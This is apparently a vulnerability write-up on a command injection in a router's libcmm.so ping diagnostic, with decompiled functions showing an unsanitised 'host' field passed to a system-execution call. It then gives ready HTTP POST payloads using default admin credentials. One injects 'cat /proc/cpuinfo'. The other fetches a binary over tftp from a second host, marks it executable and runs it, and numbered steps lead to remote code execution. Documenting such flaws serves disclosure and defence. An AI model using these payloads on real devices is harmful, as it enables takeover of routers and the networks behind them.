The vulnerability

This vulnerability is discovered under the library module called libcmm.so, in many of the cases discovered it is identified that many of the parameters that are passed by the client are not sanitized and are passed directly to the util_execSystem function which executes operating system commands within the device.

The vulnerable code segment can then be identified, which receives the parameters directly without being sanitized.

undefined4 oal_startPing(int param_1)

{
  int iVar1;
  size_t sVar2;
  undefined4 uVar3;
  char *pcVar4;
  undefined4 *puVar5;
  int iVar6;
  int local_428;
  undefined4 local_424;
  undefined4 local_420;
  undefined4 local_41c;
  undefined4 local_418;
  char acStack1044 [1028];
  
  memset(acStack1044,0,0x400);
  local_424 = 0;
  local_420 = 0;
  local_41c = 0;
  local_418 = 0;
  local_428 = 0;
  util_findSystemProc("ipping",0,acStack1044,"ipping",&local_428);
  if (local_428 != 0) {
    iVar6 = param_1 + 0x10c;
    uVar3 = 0x57;
    pcVar4 = "The previous ping to (%s) haven\\'t complete, please wait a few minutes";
LAB_000b549c:
    cdbg_printf(8,"oal_startPing",uVar3,pcVar4,iVar6);
    return 1;
  }
  memset(acStack1044,0,0x400);
  iVar6 = param_1 + 0xec;
  if ((*(char *)(param_1 + 0xec) != '\\0') &&
     (iVar1 = oal_intf_getIfAddr(iVar6,&local_424), iVar1 == 0)) {
    uVar3 = 0x62;
    pcVar4 = "Get interface(%s)\\'s IP failed!";
    goto LAB_000b549c;
  }
  if (*(char *)(param_1 + 0xcc) == '\\0') {
    sVar2 = strlen(acStack1044);
    snprintf(acStack1044 + sVar2,0x400 - sVar2,"ipping -c %d -s %d -w %d %s ",
             *(undefined4 *)(param_1 + 0x108),*(undefined4 *)(param_1 + 0x100),
             *(undefined4 *)(param_1 + 0x104),param_1 + 0x10c);
  }
  else {
    sVar2 = strlen(acStack1044);
    snprintf(acStack1044 + sVar2,0x400 - sVar2,"ipping -c 1 -s %d -w %d %s",
             *(undefined4 *)(param_1 + 0x100),*(undefined4 *)(param_1 + 0x104),param_1 + 0x10c);
  }
  iVar6 = util_netChkLegalIpAddr(&local_424);
  if (iVar6 == 0) {
    if (*(char *)(param_1 + 0xec) == '\\0') goto LAB_000b55f0;
    sVar2 = strlen(acStack1044);
    pcVar4 = acStack1044 + sVar2;
    puVar5 = (undefined4 *)(param_1 + 0xec);
  }
  else {
    sVar2 = strlen(acStack1044);
    pcVar4 = acStack1044 + sVar2;
    puVar5 = &local_424;
  }
  snprintf(pcVar4,0x400 - sVar2," -I %s",puVar5);
LAB_000b55f0:
  sVar2 = strlen(acStack1044);
  snprintf(acStack1044 + sVar2,0x400 - sVar2," &");
  util_execSystem("oal_startPing",acStack1044);
  return 0;
}

Vulnerable function is called from two objects , rsl_ipping_start, rsl_setIppingDiagOb

int rsl_ipping_start(undefined4 param_1)

{
  int iVar1;
  undefined auStack792 [784];
  
  iVar1 = rsl_getObj(0xd9,param_1,0x30c,auStack792);
  if (iVar1 == 0) {
    oal_startPing(auStack792);
  }
  else {
    cdbg_perror("rsl_ipping_start",0x12d,iVar1);
  }
  return iVar1;
}
int rsl_setIppingDiagObj(undefined4 param_1,int param_2)

{
  bool bVar1;
  int iVar2;
  size_t sVar3;
  undefined4 uVar4;
  char *pcVar5;
  uint local_c70;
  uint local_c6c;
  uint local_c68;
  undefined4 local_c64;
  undefined4 local_c60;
  undefined4 local_c5c;
  undefined2 local_c58;
  short local_c54;
  undefined auStack3154 [82];
  undefined auStack3072 [3];
  char acStack3069 [16];
  char acStack3053 [41];
  char acStack3012 [32];
  undefined auStack2980 [780];
  undefined auStack2200 [3];
  char acStack2197 [44];
  char acStack2153 [349];
  char acStack1804 [520];
  undefined auStack1284 [3];
  char acStack1281 [69];
  char acStack1212 [600];
  char acStack612 [572];
  int local_28;
  
  local_c64 = 0;
  local_c60 = 0;
  local_c5c = 0;
  local_c58 = 0;
  iVar2 = rsl_getObj(0xd9,&local_c64,0x30c,auStack2980);
  if (iVar2 != 0) {
    cdbg_perror("rsl_setIppingDiagObj",0x6c,iVar2);
    return iVar2;
  }
  pcVar5 = (char *)(param_2 + 2);
  iVar2 = strcmp(pcVar5,"Requested");
  if (iVar2 == 0) {
    *(undefined4 *)(param_2 + 0x20) = 0;
    *(undefined4 *)(param_2 + 0x24) = 0xffff;
    *(undefined4 *)(param_2 + 0x28) = 0;
    *(undefined4 *)(param_2 + 0x2c) = 0;
    *(undefined4 *)(param_2 + 0x30) = 0;
    *(undefined4 *)(param_2 + 0x34) = 0;
    *(undefined4 *)(param_2 + 0x38) = 0;
    memset((void *)(param_2 + 0x3c),0,0x10);
  }
  if ((*(char *)(param_2 + 0xcc) != '\\0') || (iVar2 = strcmp(pcVar5,"Requested"), iVar2 != 0)) {
    iVar2 = strcmp(pcVar5,"Requested");
    if (iVar2 != 0) {
      return 0;
    }
    iVar2 = curMultimode();
    if (((iVar2 != 1) && (iVar2 = curMultimode(), iVar2 != 2)) &&
       (iVar2 = curMultimode(), iVar2 != 3)) {
      iVar2 = curMultimode();
      if (iVar2 != 4) {
        local_c64 = 0;
        local_c60 = 0;
        local_c5c = 0;
        local_c58 = 0;
        do {
          iVar2 = rsl_getNextObj(0x61,&local_c64,0x394,auStack2200);
          if (iVar2 != 0) {
            bVar1 = false;
            goto LAB_0007b344;
          }
          iVar2 = strcmp(acStack2153,(char *)(param_2 + 0xcc));
        } while (iVar2 != 0);
        iVar2 = strcmp(acStack2197,"Connected");
        if (iVar2 != 0) {
          return 0x1614;
        }
        strncpy((char *)(param_2 + 0xec),acStack1804,0x10);
        bVar1 = true;
LAB_0007b344:
        local_c64 = 0;
        local_c60 = 0;
        local_c5c = 0;
        local_c58 = 0;
        if (!bVar1) {
          do {
            iVar2 = rsl_getNextObj(100,&local_c64,0x4dc,auStack1284);
            if (iVar2 != 0) goto LAB_0007b3e4;
            iVar2 = strcmp(acStack1212,(char *)(param_2 + 0xcc));
          } while (iVar2 != 0);
          iVar2 = strcmp(acStack1281,"Connected");
          if (iVar2 != 0) {
            return 0x1614;
          }
          strncpy((char *)(param_2 + 0xec),acStack612,0x10);
        }
      }
    }
LAB_0007b3e4:
    local_c64 = 0;
    local_c60 = 0;
    local_c5c = 0;
    local_c58 = 0;
    local_c68 = 0;
    iVar2 = inet_pton(2,(char *)(param_2 + 0x10c),&local_c68);
    if (iVar2 == 1) {
      pcVar5 = acStack3053;
      do {
        iVar2 = rsl_getNextObj(0x26,&local_c64,0x5c,auStack3072);
        if (iVar2 != 0) {
          return 0;
        }
        local_c6c = 0;
        local_c70 = 0;
        iVar2 = inet_pton(2,acStack3069,&local_c6c);
        if (iVar2 != 1) {
          uVar4 = 0xfe;
          pcVar5 = acStack3069;
LAB_0007b498:
          cdbg_printf(8,"rsl_setIppingDiagObj",uVar4,"inet_pton error: %s\\n",pcVar5);
          return 1;
        }
        iVar2 = inet_pton(2,pcVar5,&local_c70);
        if (iVar2 != 1) {
          uVar4 = 0x104;
          goto LAB_0007b498;
        }
      } while (((local_c6c ^ local_c68) & local_c70) != 0);
      strncpy((char *)(param_2 + 0xec),acStack3012,0x10);
    }
    return 0;
  }
  pcVar5 = (char *)(param_2 + 0x20c);
  sVar3 = strlen(pcVar5);
  if ((*(char *)(param_2 + sVar3 + 0x20b) != '.') && (sVar3 + 1 < 0x100)) {
    *(undefined *)(param_2 + sVar3 + 0x20c) = 0x2e;
    sVar3 = strlen(pcVar5);
    *(undefined *)(param_2 + sVar3 + 0x20d) = 0;
  }
  iVar2 = dm_fullPathToPathDescriptor(pcVar5,&local_c54);
  if (iVar2 != 0) {
    cdbg_printf(8,"rsl_setIppingDiagObj",0x8c,"Get interface(%s)\\'s stack failed!",pcVar5);
    return iVar2;
  }
  if (local_c54 == 0x26) {
    local_28 = dm_getObj(0x26,auStack3154,0x5c,auStack3072);
    if (local_28 != 0) {
      cdbg_printf(8,"rsl_setIppingDiagObj",0x96,
                  "Get interface(%s)\\'s Lan IPInterface object(%d) failed!",pcVar5,local_c54);
      uVar4 = 0x97;
LAB_0007b11c:
      dm_printStack("rsl_setIppingDiagObj",uVar4,auStack3154);
      return local_28;
    }
    pcVar5 = acStack3012;
  }
  else {
    if (local_c54 == 100) {
      local_28 = dm_getObj(100,auStack3154,0x4dc,auStack1284);
      if (local_28 != 0) {
        cdbg_printf(8,"rsl_setIppingDiagObj",0xa4,
                    "Get interface(%s)\\'s WAN PPP object(%d) failed! And stack is:",pcVar5,local_c54
                   );
        uVar4 = 0xa5;
        goto LAB_0007b11c;
      }
      pcVar5 = acStack612;
    }
    else {
      if (local_c54 != 0x61) {
        cdbg_printf(8,"rsl_setIppingDiagObj",0xbd,"Got an invalid OID(%d) with interface(%s)!",
                    pcVar5,local_c54);
        goto code_r0x0007b1f8;
      }
      local_28 = dm_getObj(0x61,auStack3154,0x394,auStack2200);
      if (local_28 != 0) {
        cdbg_printf(8,"rsl_setIppingDiagObj",0xb2,"Get interface(%s)\\'s WAN IP object(%d) failed!",
                    pcVar5,local_c54);
        uVar4 = 0xb3;
        goto LAB_0007b11c;
      }
      pcVar5 = acStack1804;
    }
  }
  strncpy((char *)(param_2 + 0xec),pcVar5,0x10);
code_r0x0007b1f8:
  oal_startPing(param_2);
  return 0;
}

We can test the command injection by sending the following payload.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 160
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=4
host=;cat /proc/cpuinfo;
X_TP_ConnName=ewan_ipoe_s
diagnosticsState=Requested

Captura de Pantalla 2022-01-07 a la(s) 4.27.45 p.m..png

The exploitation

You can follow the steps below in order to carry out the command injection exploitation successfully.

  1. there is no character or size restriction so you can inject a long consecutive string.
  2. Since the router is binary limited, we can use the tftp service to download files and execute remote code.
  3. You need to compile a shellcode for the MIPSLE architecture and invoke it in the command injection.

Once the binary is mounted on our TFTP server, it must execute the sequence of HTTP requests.

  1. execute command injection.

    POST /cgi?2 HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
    Accept: */*
    Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: text/plain
    Content-Length: 242
    Origin: <http://192.168.0.1>
    Connection: close
    Referer: <http://192.168.0.1/mainFrame.htm>
    Cookie: Authorization=Basic YWRtaW46YWRtaW4=
    
    [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
    dataBlockSize=64
    timeout=1
    numberOfRepetitions=4
    host=172.26.26.1;tftp -g -r s -l/var/tmp/s 192.168.0.3; chmod +x /var/tmp/s; ./var/tmp/s;
    X_TP_ConnName=ewan_ipoe_s
    diagnosticsState=Requested